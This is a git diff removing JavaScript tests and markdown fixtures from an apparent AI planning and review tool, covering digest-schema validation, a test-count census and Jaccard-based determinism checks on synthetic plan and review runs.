['risks', 'DIGEST_RISKS_NOT_ARRAY'],
|
||||
['gaps', 'DIGEST_GAPS_NOT_ARRAY'],
|
||||
['sources', 'DIGEST_SOURCES_NOT_ARRAY'],
|
||||
];
|
||||
for (const [field, code] of cases) {
|
||||
const d = wellFormed();
|
||||
d[field] = { not: 'an array' };
|
||||
const r = validateDigest(d);
|
||||
assert.equal(r.valid, false, `${field} as object should fail`);
|
||||
assert.ok(r.errors.some((e) => e.code === code), `expected ${code}`);
|
||||
}
|
||||
});
|
||||
|
||||
test('digest schema: empty synthesis arrays are valid (a clean digest can have no contradictions/gaps)', () => {
|
||||
const d = wellFormed();
|
||||
d.contradictions = [];
|
||||
d.gaps = [];
|
||||
const r = validateDigest(d);
|
||||
assert.equal(r.valid, true, JSON.stringify(r.errors));
|
||||
});
|
||||
|
||||
test('digest schema: a source with a non-enum origin is rejected', () => {
|
||||
const d = wellFormed();
|
||||
d.sources = [{ finding: 'x', origin: 'guess' }];
|
||||
const r = validateDigest(d);
|
||||
assert.equal(r.valid, false);
|
||||
assert.ok(r.errors.some((e) => e.code === 'DIGEST_SOURCE_BAD_ORIGIN'));
|
||||
});
|
||||
|
||||
test('digest schema: missing agent name is a warning, not an error', () => {
|
||||
const d = wellFormed();
|
||||
delete d.agent;
|
||||
const r = validateDigest(d);
|
||||
assert.equal(r.valid, true, JSON.stringify(r.errors));
|
||||
assert.ok(r.warnings.some((w) => w.code === 'DIGEST_MISSING_AGENT'));
|
||||
});
|
||||
|
||||
test('extractDigestBlock: pulls the LAST fenced json block from agent prose', () => {
|
||||
const text =
|
||||
'Here is my synthesis.\n\n' +
|
||||
'```json\n{"stale": true}\n```\n\n' +
|
||||
'Actually, the final digest:\n\n' +
|
||||
'```json\n' + JSON.stringify(wellFormed()) + '\n```\n';
|
||||
const block = extractDigestBlock(text);
|
||||
assert.ok(block && JSON.parse(block).task, 'should extract the last json block');
|
||||
assert.equal(JSON.parse(block).agent, 'synthesis-agent');
|
||||
});
|
||||
|
||||
test('validateAgentOutput: no json fence → stable NO_JSON code', () => {
|
||||
const r = validateAgentOutput('just prose, no fence');
|
||||
assert.equal(r.valid, false);
|
||||
assert.ok(r.errors.some((e) => e.code === 'DIGEST_NO_JSON_BLOCK'));
|
||||
});
|
||||
|
||||
test('validateAgentOutput: malformed json → stable PARSE code', () => {
|
||||
const r = validateAgentOutput('```json\n{ not valid }\n```');
|
||||
assert.equal(r.valid, false);
|
||||
assert.ok(r.errors.some((e) => e.code === 'DIGEST_PARSE_ERROR'));
|
||||
});
|
||||
|
||||
test('validateAgentOutput: well-formed fenced digest validates end-to-end', () => {
|
||||
const r = validateAgentOutput('Synthesis complete.\n```json\n' + JSON.stringify(wellFormed()) + '\n```');
|
||||
assert.equal(r.valid, true, JSON.stringify(r.errors));
|
||||
});
|
||||
|
|
@ -1,44 +0,0 @@
|
|||
// tests/lib/test-census.test.mjs
|
||||
// Behavior test for the suite census + the honest-count invariant from the
|
||||
// devil's-advocate audit §Top changes #8 (S19): the behavior-test count must
|
||||
// be reported SEPARATELY from the doc-consistency prose-pin count. A prose-pin
|
||||
// (a string/existence assertion against documentation) is not the same coverage
|
||||
// as a behavior test, so a single conflated total oversells the behavior
|
||||
// coverage. This census makes the split explicit and drift-proof.
|
||||
|
||||
import { test } from 'node:test';
|
||||
import { strict as assert } from 'node:assert';
|
||||
import { dirname, join } from 'node:path';
|
||||
import { fileURLToPath } from 'node:url';
|
||||
import { censusTests } from '../../lib/util/test-census.mjs';
|
||||
|
||||
const HERE = dirname(fileURLToPath(import.meta.url));
|
||||
const TESTS_ROOT = join(HERE, '..');
|
||||
|
||||
test('suite census splits behavior / doc-pins / gold-eval (S19 + SKAL-1·4b)', (t) => {
|
||||
const c = censusTests(TESTS_ROOT);
|
||||
// Honest-count invariant: the three buckets must account for every top-level
|
||||
// test() declaration — no silent drift between behavior, pin, and eval counts.
|
||||
assert.equal(c.behavior + c.docPins + c.goldEval, c.total,
|
||||
'census buckets must sum to the total declaration count');
|
||||
assert.ok(c.docPins > 0, 'doc-consistency pin bucket must be non-empty (regex/glob sanity)');
|
||||
assert.ok(c.behavior > 0, 'behavior bucket must be non-empty (regex/glob sanity)');
|
||||
assert.ok(c.goldEval > 0, 'gold-eval scoring-run bucket must be non-empty (SKAL-1·4b present)');
|
||||
// Report the split so the cited count is honest (audit §Top changes #8).
|
||||
// Metric = top-level test() declarations; node:test's runtime total counts
|
||||
// subtests too and is therefore ≥ this number.
|
||||
t.diagnostic(
|
||||
`behavior=${c.behavior} doc-consistency-pins=${c.docPins} ` +
|
||||
`gold-eval=${c.goldEval} total=${c.total} (top-level test() declarations)`,
|
||||
);
|
||||
});
|
||||
|
||||
test("doc-consistency.test.mjs is the suite's prose-pin home (S19)", () => {
|
||||
const c = censusTests(TESTS_ROOT);
|
||||
const pinFiles = Object.keys(c.byFile)
|
||||
.filter((f) => /(doc-consistency|prose-pins)\.test\.mjs$/.test(f));
|
||||
assert.ok(
|
||||
pinFiles.some((f) => f.endsWith('doc-consistency.test.mjs')),
|
||||
'doc-consistency.test.mjs must exist as the canonical prose-pin bucket',
|
||||
);
|
||||
});
|
||||
|
|
@ -355,15 +355,6 @@ test('trekreview Phase 6 — passes the brief\'s Non-Goals, Constraints, Prefere
|
|||
assert.match(p6, /brief choices/i, 'Phase 6 names the input the coordinator reads');
|
||||
});
|
||||
|
||||
test('trekreview workflow path — engine, contradicts_brief and brief_lowered_from are carried into review.md', () => {
|
||||
const cmd = readDoc('commands', 'trekreview.md');
|
||||
const wf = cut(cmd, 'Then continue at **Phase 7**', '\n\n', 'workflow paragraph');
|
||||
for (const field of ['`engine`', '`contradicts_brief`', '`brief_lowered_from`']) {
|
||||
assert.ok(wf.includes(field), `the workflow paragraph names ${field}`);
|
||||
}
|
||||
assert.match(wf, /review\.md/, 'the fields are written into review.md');
|
||||
});
|
||||
|
||||
test('review-coordinator Input — names "Brief choices" (the four sections) and the mode line names the exception', () => {
|
||||
const coord = readDoc('agents', 'review-coordinator.md');
|
||||
const input = cut(coord, '## Input', '\n## Your 4-pass process', 'Input');
|
||||
|
|
|
|||
File diff suppressed because it is too large
Load diff
|
|
@ -1,127 +0,0 @@
|
|||
// tests/synthetic/plan-determinism.test.mjs
|
||||
// SC7 plan-determinism floor — Jaccard pipeline test.
|
||||
//
|
||||
// Reads two synthetic plan-run fixtures and asserts that
|
||||
// jaccardSimilarity(stepsTokens(planA), stepsTokens(planB)) >= 0.833.
|
||||
//
|
||||
// This exercises the determinism pipeline (parser + jaccard) on a known
|
||||
// input pair. It does NOT measure real-LLM determinism — that is deferred
|
||||
// to a future run of the pipeline against examples/01-add-verbose-flag/.
|
||||
|
||||
import { test } from 'node:test';
|
||||
import { strict as assert } from 'node:assert';
|
||||
import { readFileSync } from 'node:fs';
|
||||
import { join, dirname } from 'node:path';
|
||||
import { fileURLToPath } from 'node:url';
|
||||
import { jaccardSimilarity } from '../../lib/parsers/jaccard.mjs';
|
||||
import { parseDocument } from '../../lib/util/frontmatter.mjs';
|
||||
|
||||
const HERE = dirname(fileURLToPath(import.meta.url));
|
||||
const ROOT = join(HERE, '..', '..');
|
||||
|
||||
const SC7_THRESHOLD = 0.833;
|
||||
|
||||
function loadSteps(rel) {
|
||||
const text = readFileSync(join(ROOT, rel), 'utf-8');
|
||||
const doc = parseDocument(text);
|
||||
assert.ok(doc.valid, `frontmatter of ${rel} did not parse: ${(doc.errors || []).map(e => e.message).join(', ')}`);
|
||||
const steps = doc.parsed.frontmatter && doc.parsed.frontmatter.steps;
|
||||
assert.ok(Array.isArray(steps), `frontmatter.steps of ${rel} is not an array`);
|
||||
return steps;
|
||||
}
|
||||
|
||||
test('plan determinism — Jaccard of synthetic plan-run-A vs plan-run-B meets SC7 threshold (0.833)', () => {
|
||||
const a = loadSteps('tests/synthetic/plan-run-A.md');
|
||||
const b = loadSteps('tests/synthetic/plan-run-B.md');
|
||||
const sim = jaccardSimilarity(a, b);
|
||||
assert.ok(
|
||||
sim >= SC7_THRESHOLD,
|
||||
`jaccardSimilarity(stepsTokens(planA), stepsTokens(planB)) = ${sim} < ${SC7_THRESHOLD} (SC7 floor). ` +
|
||||
`Fixtures may have drifted — re-tune step titles to restore the overlap.`,
|
||||
);
|
||||
});
|
||||
|
||||
test('plan determinism — both fixtures contain at least 30 unique step titles', () => {
|
||||
for (const rel of ['tests/synthetic/plan-run-A.md', 'tests/synthetic/plan-run-B.md']) {
|
||||
const steps = loadSteps(rel);
|
||||
assert.ok(
|
||||
new Set(steps).size >= 30,
|
||||
`${rel}: < 30 unique step titles (got ${new Set(steps).size}). Synthetic fixtures must reflect a substantial plan.`,
|
||||
);
|
||||
}
|
||||
});
|
||||
|
||||
test('plan determinism — no duplicate step titles within run', () => {
|
||||
for (const rel of ['tests/synthetic/plan-run-A.md', 'tests/synthetic/plan-run-B.md']) {
|
||||
const steps = loadSteps(rel);
|
||||
assert.strictEqual(
|
||||
new Set(steps).size,
|
||||
steps.length,
|
||||
`${rel}: contains duplicate step titles (${steps.length} entries vs ${new Set(steps).size} unique)`,
|
||||
);
|
||||
}
|
||||
});
|
||||
|
||||
// --- v4.1 forward-compat block (SC #10) ---
|
||||
//
|
||||
// Adding the optional frontmatter key `profile_used` (Step 3 OPTIONAL_STRING_KEYS)
|
||||
// must not break parsing of EITHER:
|
||||
// - Existing plans WITHOUT profile_used (plan-run-A.md, plan-run-B.md)
|
||||
// - New plans WITH profile_used (profile-plan-run-{economy,premium}-*.md)
|
||||
//
|
||||
// This is the forward-compat assertion required by Step 19. Extend-in-place
|
||||
// keeps the determinism + forward-compat checks colocated.
|
||||
|
||||
test('plan determinism — forward-compat: legacy fixtures (no profile_used) parse cleanly', () => {
|
||||
for (const rel of ['tests/synthetic/plan-run-A.md', 'tests/synthetic/plan-run-B.md']) {
|
||||
const text = readFileSync(join(ROOT, rel), 'utf-8');
|
||||
const doc = parseDocument(text);
|
||||
assert.ok(doc.valid, `${rel}: frontmatter parse failed: ${(doc.errors || []).map((e) => e.message).join(', ')}`);
|
||||
assert.equal(
|
||||
doc.parsed.frontmatter.profile_used,
|
||||
undefined,
|
||||
`${rel}: legacy fixture must NOT have profile_used set`,
|
||||
);
|
||||
assert.ok(
|
||||
Array.isArray(doc.parsed.frontmatter.steps),
|
||||
`${rel}: steps array still loads after parser extension`,
|
||||
);
|
||||
}
|
||||
});
|
||||
|
||||
test('plan determinism — forward-compat: new fixtures with profile_used parse cleanly', () => {
|
||||
const cases = [
|
||||
{ rel: 'tests/synthetic/profile-plan-run-economy-1.md', profile: 'economy' },
|
||||
{ rel: 'tests/synthetic/profile-plan-run-economy-2.md', profile: 'economy' },
|
||||
{ rel: 'tests/synthetic/profile-plan-run-premium-1.md', profile: 'premium' },
|
||||
{ rel: 'tests/synthetic/profile-plan-run-premium-2.md', profile: 'premium' },
|
||||
];
|
||||
for (const { rel, profile } of cases) {
|
||||
const text = readFileSync(join(ROOT, rel), 'utf-8');
|
||||
const doc = parseDocument(text);
|
||||
assert.ok(doc.valid, `${rel}: frontmatter parse failed: ${(doc.errors || []).map((e) => e.message).join(', ')}`);
|
||||
assert.equal(
|
||||
doc.parsed.frontmatter.profile_used,
|
||||
profile,
|
||||
`${rel}: profile_used must be ${profile}`,
|
||||
);
|
||||
assert.ok(
|
||||
Array.isArray(doc.parsed.frontmatter.steps) && doc.parsed.frontmatter.steps.length >= 10,
|
||||
`${rel}: steps array must be non-empty`,
|
||||
);
|
||||
}
|
||||
});
|
||||
|
||||
test('plan determinism — forward-compat: synthetic v1.7 plan validates with --strict (no PLAN_VERSION_MISMATCH)', async () => {
|
||||
// Sanity check that adding profile_used to manifest-yaml schema doesn't
|
||||
// regress full plan-validator strict-mode behaviour on a v1.7 plan with
|
||||
// standard step + manifest structure. Uses a committed synthetic fixture
|
||||
// (tests/fixtures/plan-run-c.md) instead of a gitignored project plan so the assertion
|
||||
// is stable across worktrees and headless runs.
|
||||
const fixturePlan = 'tests/fixtures/plan-run-c.md';
|
||||
const { validatePlan } = await import('../../lib/validators/plan-validator.mjs');
|
||||
const result = await validatePlan(join(ROOT, fixturePlan), { strict: true });
|
||||
assert.equal(result.valid, true, `synthetic plan must validate strict: ${JSON.stringify(result.errors)}`);
|
||||
const versionMismatch = (result.warnings || []).find((w) => w.code === 'PLAN_VERSION_MISMATCH');
|
||||
assert.equal(versionMismatch, undefined, 'synthetic plan must NOT emit PLAN_VERSION_MISMATCH warning');
|
||||
});
|
||||
|
|
@ -1,74 +0,0 @@
|
|||
---
|
||||
type: trekplan-synthetic
|
||||
plan_version: "1.7"
|
||||
created: 2026-05-04
|
||||
task: "Add --verbose flag to CLI"
|
||||
slug: verbose-flag
|
||||
run_id: A
|
||||
steps:
|
||||
- "Add config entry for verbose flag in package.json"
|
||||
- "Define types for verbose mode in types.ts"
|
||||
- "Update parseArgs to recognize --verbose flag"
|
||||
- "Pass verbose context through main entry point"
|
||||
- "Add log level enum (silent, normal, verbose)"
|
||||
- "Wire log level into logger module"
|
||||
- "Replace console.log with logger.info in handler.ts"
|
||||
- "Add tests for parseArgs --verbose recognition"
|
||||
- "Add tests for log level enum mapping"
|
||||
- "Update README with --verbose flag documentation"
|
||||
- "Add CHANGELOG entry for verbose flag"
|
||||
- "Bump package.json minor version"
|
||||
- "Add lint rule blocking direct console usage"
|
||||
- "Run lint and fix new violations"
|
||||
- "Add CLI integration test for --verbose end-to-end"
|
||||
- "Add fixture file for verbose log capture"
|
||||
- "Document verbose output format in docs/cli.md"
|
||||
- "Add jsdoc for new logger API"
|
||||
- "Verify all existing tests pass with verbose disabled"
|
||||
- "Add backward-compat test for legacy quiet behavior"
|
||||
- "Add edge-case test for repeated --verbose flags"
|
||||
- "Add edge-case test for --verbose with --silent collision"
|
||||
- "Update help text to list --verbose flag"
|
||||
- "Add usage example to docs/quickstart.md"
|
||||
- "Verify CI matrix runs on Node 18 and 20"
|
||||
- "Add npm script for verbose mode debugging"
|
||||
- "Run security audit on logger dependency tree"
|
||||
- "Verify no PII leaks in verbose log output"
|
||||
- "Add manual test checklist to CONTRIBUTING.md"
|
||||
- "Update .gitignore for verbose log dump files"
|
||||
- "Add cleanup logic for stale verbose logs"
|
||||
- "Add unit test for cleanup logic"
|
||||
- "Verify exit code on verbose mode error"
|
||||
- "Add stderr routing for warnings in verbose"
|
||||
- "Add timestamp prefix in verbose log lines"
|
||||
- "Add test for timestamp format"
|
||||
- "Update troubleshooting guide with verbose flag"
|
||||
- "Verify version sync across all docs"
|
||||
- "Add benchmark for verbose log emission cost"
|
||||
- "Document benchmark methodology in PERF.md"
|
||||
---
|
||||
|
||||
# Synthetic plan run A — Add --verbose flag to CLI
|
||||
|
||||
This fixture represents one synthesized run of `/trekplan` against a
|
||||
hand-calibrated brief. It is paired with `plan-run-B.md` for the
|
||||
`plan-determinism.test.mjs` Jaccard floor (≥ 0.833).
|
||||
|
||||
## How this fixture is used
|
||||
|
||||
`tests/synthetic/plan-determinism.test.mjs` reads the `steps` array from this
|
||||
file's frontmatter and computes `jaccardSimilarity(stepsA, stepsB)`. The test
|
||||
asserts the similarity is at or above the SC7 brief threshold (0.833).
|
||||
|
||||
This is a SYNTHETIC fixture — it is NOT the output of a real LLM run. The
|
||||
purpose is to exercise the determinism pipeline (parser + jaccard) on a known
|
||||
input pair so regressions in the pipeline are caught even when LLM
|
||||
determinism cannot be cheaply re-measured.
|
||||
|
||||
## Fixture math
|
||||
|
||||
- A has 40 unique step titles
|
||||
- B has 40 unique step titles
|
||||
- Intersection (shared titles): 38
|
||||
- Union: 42
|
||||
- Jaccard: 38/42 ≈ 0.9047 (well above 0.833 floor)
|
||||
|
|
@ -1,77 +0,0 @@
|
|||
---
|
||||
type: trekplan-synthetic
|
||||
plan_version: "1.7"
|
||||
created: 2026-05-04
|
||||
task: "Add --verbose flag to CLI"
|
||||
slug: verbose-flag
|
||||
run_id: B
|
||||
steps:
|
||||
- "Add config entry for verbose flag in package.json"
|
||||
- "Define types for verbose mode in types.ts"
|
||||
- "Update parseArgs to recognize --verbose flag"
|
||||
- "Pass verbose context through main entry point"
|
||||
- "Add log level enum (silent, normal, verbose)"
|
||||
- "Wire log level into logger module"
|
||||
- "Replace console.log with logger.info in handler.ts"
|
||||
- "Add tests for parseArgs --verbose recognition"
|
||||
- "Add tests for log level enum mapping"
|
||||
- "Update README with --verbose flag documentation"
|
||||
- "Add CHANGELOG entry for verbose flag"
|
||||
- "Bump package.json minor version"
|
||||
- "Add lint rule blocking direct console usage"
|
||||
- "Run lint and fix new violations"
|
||||
- "Add CLI integration test for --verbose end-to-end"
|
||||
- "Add fixture file for verbose log capture"
|
||||
- "Document verbose output format in docs/cli.md"
|
||||
- "Add jsdoc for new logger API"
|
||||
- "Verify all existing tests pass with verbose disabled"
|
||||
- "Add backward-compat test for legacy quiet behavior"
|
||||
- "Add edge-case test for repeated --verbose flags"
|
||||
- "Add edge-case test for --verbose with --silent collision"
|
||||
- "Update help text to list --verbose flag"
|
||||
- "Add usage example to docs/quickstart.md"
|
||||
- "Verify CI matrix runs on Node 18 and 20"
|
||||
- "Add npm script for verbose mode debugging"
|
||||
- "Run security audit on logger dependency tree"
|
||||
- "Verify no PII leaks in verbose log output"
|
||||
- "Add manual test checklist to CONTRIBUTING.md"
|
||||
- "Update .gitignore for verbose log dump files"
|
||||
- "Add cleanup logic for stale verbose logs"
|
||||
- "Add unit test for cleanup logic"
|
||||
- "Verify exit code on verbose mode error"
|
||||
- "Add stderr routing for warnings in verbose"
|
||||
- "Add timestamp prefix in verbose log lines"
|
||||
- "Add test for timestamp format"
|
||||
- "Update troubleshooting guide with verbose flag"
|
||||
- "Verify version sync across all docs"
|
||||
- "Add benchmark for verbose log capture overhead"
|
||||
- "Document overhead methodology in PERF.md"
|
||||
---
|
||||
|
||||
# Synthetic plan run B — Add --verbose flag to CLI
|
||||
|
||||
This fixture represents a second synthesized run of `/trekplan` against
|
||||
the same hand-calibrated brief used for `plan-run-A.md`. The two runs differ
|
||||
on 2 step titles (modeling realistic LLM variation).
|
||||
|
||||
## How this fixture is used
|
||||
|
||||
See `plan-run-A.md` for the determinism contract.
|
||||
|
||||
## Fixture math
|
||||
|
||||
- A has 40 unique step titles
|
||||
- B has 40 unique step titles
|
||||
- Intersection (shared titles): 38
|
||||
- Union: 42
|
||||
- Jaccard: 38/42 ≈ 0.9047 (well above 0.833 floor)
|
||||
|
||||
## Differences from run A
|
||||
|
||||
- A includes "Add benchmark for verbose log emission cost" → B replaces with
|
||||
"Add benchmark for verbose log capture overhead"
|
||||
- A includes "Document benchmark methodology in PERF.md" → B replaces with
|
||||
"Document overhead methodology in PERF.md"
|
||||
|
||||
These represent the kind of paraphrase variation a stochastic planner may
|
||||
produce on consecutive runs against an identical brief.
|
||||
|
|
@ -1,79 +0,0 @@
|
|||
// tests/synthetic/review-determinism.test.mjs
|
||||
// SC7 review-determinism floor — Jaccard pipeline test.
|
||||
//
|
||||
// Reads two synthetic review-run fixtures and asserts that
|
||||
// jaccardSimilarity(findingTokens(reviewA), findingTokens(reviewB)) >= 0.833.
|
||||
//
|
||||
// This is the SC7 (higher) floor. The companion
|
||||
// tests/lib/review-determinism.test.mjs holds the SC4 (0.70) floor against
|
||||
// tests/fixtures/trekreview/. Both pairs coexist on purpose: the lower
|
||||
// floor protects against pipeline regressions, the higher one anchors the
|
||||
// determinism aspiration set in the speedup brief.
|
||||
|
||||
import { test } from 'node:test';
|
||||
import { strict as assert } from 'node:assert';
|
||||
import { readFileSync } from 'node:fs';
|
||||
import { join, dirname } from 'node:path';
|
||||
import { fileURLToPath } from 'node:url';
|
||||
import { jaccardSimilarity } from '../../lib/parsers/jaccard.mjs';
|
||||
import { parseFindingId } from '../../lib/parsers/finding-id.mjs';
|
||||
import { parseDocument } from '../../lib/util/frontmatter.mjs';
|
||||
|
||||
const HERE = dirname(fileURLToPath(import.meta.url));
|
||||
const ROOT = join(HERE, '..', '..');
|
||||
|
||||
const SC7_THRESHOLD = 0.833;
|
||||
|
||||
function loadFindings(rel) {
|
||||
const text = readFileSync(join(ROOT, rel), 'utf-8');
|
||||
const doc = parseDocument(text);
|
||||
assert.ok(doc.valid, `frontmatter of ${rel} did not parse: ${(doc.errors || []).map(e => e.message).join(', ')}`);
|
||||
const findings = doc.parsed.frontmatter && doc.parsed.frontmatter.findings;
|
||||
assert.ok(Array.isArray(findings), `frontmatter.findings of ${rel} is not an array`);
|
||||
return findings;
|
||||
}
|
||||
|
||||
test('review determinism — Jaccard of synthetic review-run-A vs review-run-B meets SC7 threshold (0.833)', () => {
|
||||
const a = loadFindings('tests/synthetic/review-run-A.md');
|
||||
const b = loadFindings('tests/synthetic/review-run-B.md');
|
||||
const sim = jaccardSimilarity(a, b);
|
||||
assert.ok(
|
||||
sim >= SC7_THRESHOLD,
|
||||
`jaccardSimilarity(findingTokens(reviewA), findingTokens(reviewB)) = ${sim} < ${SC7_THRESHOLD} (SC7 floor). ` +
|
||||
`Fixtures may have drifted — recompute IDs via lib/parsers/finding-id.mjs.`,
|
||||
);
|
||||
});
|
||||
|
||||
test('review determinism — finding IDs are 40-char hex (parseFindingId valid)', () => {
|
||||
for (const rel of ['tests/synthetic/review-run-A.md', 'tests/synthetic/review-run-B.md']) {
|
||||
const findings = loadFindings(rel);
|
||||
for (const id of findings) {
|
||||
const parsed = parseFindingId(id);
|
||||
assert.ok(
|
||||
parsed.valid,
|
||||
`${rel}: ID ${JSON.stringify(id)} is not a 40-char lowercase hex string (parseFindingId rejected it)`,
|
||||
);
|
||||
}
|
||||
}
|
||||
});
|
||||
|
||||
test('review determinism — both fixtures contain at least 25 unique finding-IDs', () => {
|
||||
for (const rel of ['tests/synthetic/review-run-A.md', 'tests/synthetic/review-run-B.md']) {
|
||||
const findings = loadFindings(rel);
|
||||
assert.ok(
|
||||
new Set(findings).size >= 25,
|
||||
`${rel}: < 25 unique finding-IDs (got ${new Set(findings).size}). Synthetic fixtures must reflect a substantial review.`,
|
||||
);
|
||||
}
|
||||
});
|
||||
|
||||
test('review determinism — no duplicate IDs within run', () => {
|
||||
for (const rel of ['tests/synthetic/review-run-A.md', 'tests/synthetic/review-run-B.md']) {
|
||||
const findings = loadFindings(rel);
|
||||
assert.strictEqual(
|
||||
new Set(findings).size,
|
||||
findings.length,
|
||||
`${rel}: contains duplicate finding-IDs (${findings.length} entries vs ${new Set(findings).size} unique)`,
|
||||
);
|
||||
}
|
||||
});
|
||||
|
|
@ -1,69 +0,0 @@
|
|||
---
|
||||
type: trekreview-synthetic
|
||||
review_version: "1.0"
|
||||
created: 2026-05-04
|
||||
task: "Add JWT authentication with refresh-token rotation"
|
||||
slug: jwt-auth-synthetic
|
||||
run_id: A
|
||||
verdict: WARN
|
||||
findings:
|
||||
- 44b18cf6b84fcb23ef1d52682504c2edeed24f66
|
||||
- f7e307a427154c2c15df4c63eaff6fd846e075a7
|
||||
- 31fa81fa5bf9b84c70864ee09aa8d087870c473a
|
||||
- bfc0e3a7c1a5b13dbdc6ed8325140100b02db45d
|
||||
- be76c6dba12bfd9073b1737de5813e316a158dc6
|
||||
- f0928545e7c1dc48796fe857138fab7f100ce8c7
|
||||
- 4189ba4236119184017fd26735bfb582706994e9
|
||||
- 46f07246ff17c013740c0726b7be9a65fff10c67
|
||||
- 5501c54bda4a39df17d66938f4a7fe872e365a0f
|
||||
- 0173116735f75aabab36ecec863cb429d2f30528
|
||||
- 8f7fc683dc78d3adea8d35221915839702869af0
|
||||
- ee986665d695ca46c9a7f0d5c38bab73e73450a9
|
||||
- d863b17426ddec54bf7624405f3b64e206a73ed7
|
||||
- 64ea0bbf43c44dbf0da53f25755e0112ce2eb08b
|
||||
- 6971113644b777a8c164dfd8473739b03d1796be
|
||||
- 65f6edb11fed982b921ff018bd0fb1dcd10a1703
|
||||
- 9133851cf557f5955301803479936733b296f125
|
||||
- ffb170a0d19e4afac6379e64d26485883267bea8
|
||||
- 89f990535da373f5e97a091e5bbbf47a777c13d6
|
||||
- 664d4ec53e90ef6d24525a85b8d4071bfb037da8
|
||||
- 137db625a1ee639698c9e095e25845ef25879599
|
||||
- 6e586f167fac4cd57dc8178ceb4ca265a37404dc
|
||||
- 24671775282593381af4a8fa77eb3f7a36f9f84e
|
||||
- 71dbed32baf440d94f0ccaa6a997a6922cee7679
|
||||
- 5de9b2b26d03590845183d42387fcb22007b3f5d
|
||||
- c9aca8c3a265e2f083d75ac6da3e6d67909091b9
|
||||
- 75f32c9d304b742af2a7bafc354ec3666e53c054
|
||||
- 6547dfd19035bc012a50c19f4321fcfc9535fec8
|
||||
- 7554bc48226406e85282c7daeaba75cc732f4b35
|
||||
- 4f48547385c2d343ee0994d825321e6e6b90c89d
|
||||
---
|
||||
|
||||
# Synthetic review run A — JWT authentication with refresh-token rotation
|
||||
|
||||
This fixture represents one synthesized run of `/trekreview` on a
|
||||
hand-calibrated brief. It is paired with `review-run-B.md` for the
|
||||
`review-determinism.test.mjs` Jaccard floor (≥ 0.833).
|
||||
|
||||
## How this fixture is used
|
||||
|
||||
`tests/synthetic/review-determinism.test.mjs` reads the `findings` array from
|
||||
this file's frontmatter and computes
|
||||
`jaccardSimilarity(findingsA, findingsB)`. The test asserts the similarity is
|
||||
at or above the SC7 brief threshold (0.833).
|
||||
|
||||
This fixture is distinct from `tests/fixtures/trekreview/review-run-A.md`,
|
||||
which feeds the existing `tests/lib/review-determinism.test.mjs` against the
|
||||
v1.0 SC4 floor (0.70). The synthetic pair pushes the floor higher per SC7.
|
||||
|
||||
## Fixture math
|
||||
|
||||
- A has 30 unique finding-IDs
|
||||
- B has 30 unique finding-IDs
|
||||
- Intersection (shared IDs): 28
|
||||
- Union: 32
|
||||
- Jaccard: 28/32 = 0.875 (above 0.833 floor)
|
||||
|
||||
Each ID is the SHA-1 of a synthetic `file:line:rule_key` triple per
|
||||
`lib/parsers/finding-id.mjs`. The shared 28 represent stable findings; the
|
||||
2 unique-per-side represent paraphrase variation in `file:line` anchoring.
|
||||
|
|
@ -1,63 +0,0 @@
|
|||
---
|
||||
type: trekreview-synthetic
|
||||
review_version: "1.0"
|
||||
created: 2026-05-04
|
||||
task: "Add JWT authentication with refresh-token rotation"
|
||||
slug: jwt-auth-synthetic
|
||||
run_id: B
|
||||
verdict: WARN
|
||||
findings:
|
||||
- 44b18cf6b84fcb23ef1d52682504c2edeed24f66
|
||||
- f7e307a427154c2c15df4c63eaff6fd846e075a7
|
||||
- 31fa81fa5bf9b84c70864ee09aa8d087870c473a
|
||||
- bfc0e3a7c1a5b13dbdc6ed8325140100b02db45d
|
||||
- be76c6dba12bfd9073b1737de5813e316a158dc6
|
||||
- f0928545e7c1dc48796fe857138fab7f100ce8c7
|
||||
- 4189ba4236119184017fd26735bfb582706994e9
|
||||
- 46f07246ff17c013740c0726b7be9a65fff10c67
|
||||
- 5501c54bda4a39df17d66938f4a7fe872e365a0f
|
||||
- 0173116735f75aabab36ecec863cb429d2f30528
|
||||
- 8f7fc683dc78d3adea8d35221915839702869af0
|
||||
- ee986665d695ca46c9a7f0d5c38bab73e73450a9
|
||||
- d863b17426ddec54bf7624405f3b64e206a73ed7
|
||||
- 64ea0bbf43c44dbf0da53f25755e0112ce2eb08b
|
||||
- 6971113644b777a8c164dfd8473739b03d1796be
|
||||
- 65f6edb11fed982b921ff018bd0fb1dcd10a1703
|
||||
- 9133851cf557f5955301803479936733b296f125
|
||||
- ffb170a0d19e4afac6379e64d26485883267bea8
|
||||
- 89f990535da373f5e97a091e5bbbf47a777c13d6
|
||||
- 664d4ec53e90ef6d24525a85b8d4071bfb037da8
|
||||
- 137db625a1ee639698c9e095e25845ef25879599
|
||||
- 6e586f167fac4cd57dc8178ceb4ca265a37404dc
|
||||
- 24671775282593381af4a8fa77eb3f7a36f9f84e
|
||||
- 71dbed32baf440d94f0ccaa6a997a6922cee7679
|
||||
- 5de9b2b26d03590845183d42387fcb22007b3f5d
|
||||
- c9aca8c3a265e2f083d75ac6da3e6d67909091b9
|
||||
- 75f32c9d304b742af2a7bafc354ec3666e53c054
|
||||
- 6547dfd19035bc012a50c19f4321fcfc9535fec8
|
||||
- a5fbe85476128bb67796ecf97a42065b6a0bf9c4
|
||||
- 19ec9d34e1d6560b56f885a5a12ce491354c4b40
|
||||
---
|
||||
|
||||
# Synthetic review run B — JWT authentication with refresh-token rotation
|
||||
|
||||
Companion to `review-run-A.md`. See run A's body for the determinism
|
||||
contract.
|
||||
|
||||
## Fixture math
|
||||
|
||||
- A has 30 unique finding-IDs
|
||||
- B has 30 unique finding-IDs
|
||||
- Intersection (shared IDs): 28
|
||||
- Union: 32
|
||||
- Jaccard: 28/32 = 0.875 (above 0.833 floor)
|
||||
|
||||
## Differences from run A
|
||||
|
||||
- A's last 2 IDs come from `src/auth/jwt.ts:201:rule-1` and
|
||||
`src/auth/refresh.ts:55:rule-3`
|
||||
- B's last 2 IDs come from `src/auth/jwt.ts:202:rule-1` and
|
||||
`src/auth/refresh.ts:56:rule-3`
|
||||
|
||||
The off-by-one line anchoring models realistic post-edit drift between two
|
||||
review runs against subtly different working trees.
|
||||
|
|
@ -1,241 +0,0 @@
|
|||
// tests/validators/next-session-prompt-validator.test.mjs
|
||||
// Unit + CLI integration tests for lib/validators/next-session-prompt-validator.mjs.
|
||||
// Covers Bug 3 contract: producer-mismatch detection + state-anchored staleness +
|
||||
// 24h soft-warning + missing-frontmatter downgrade.
|
||||
|
||||
import { test } from 'node:test';
|
||||
import assert from 'node:assert/strict';
|
||||
import { mkdtempSync, rmSync, writeFileSync } from 'node:fs';
|
||||
import { tmpdir } from 'node:os';
|
||||
import { join } from 'node:path';
|
||||
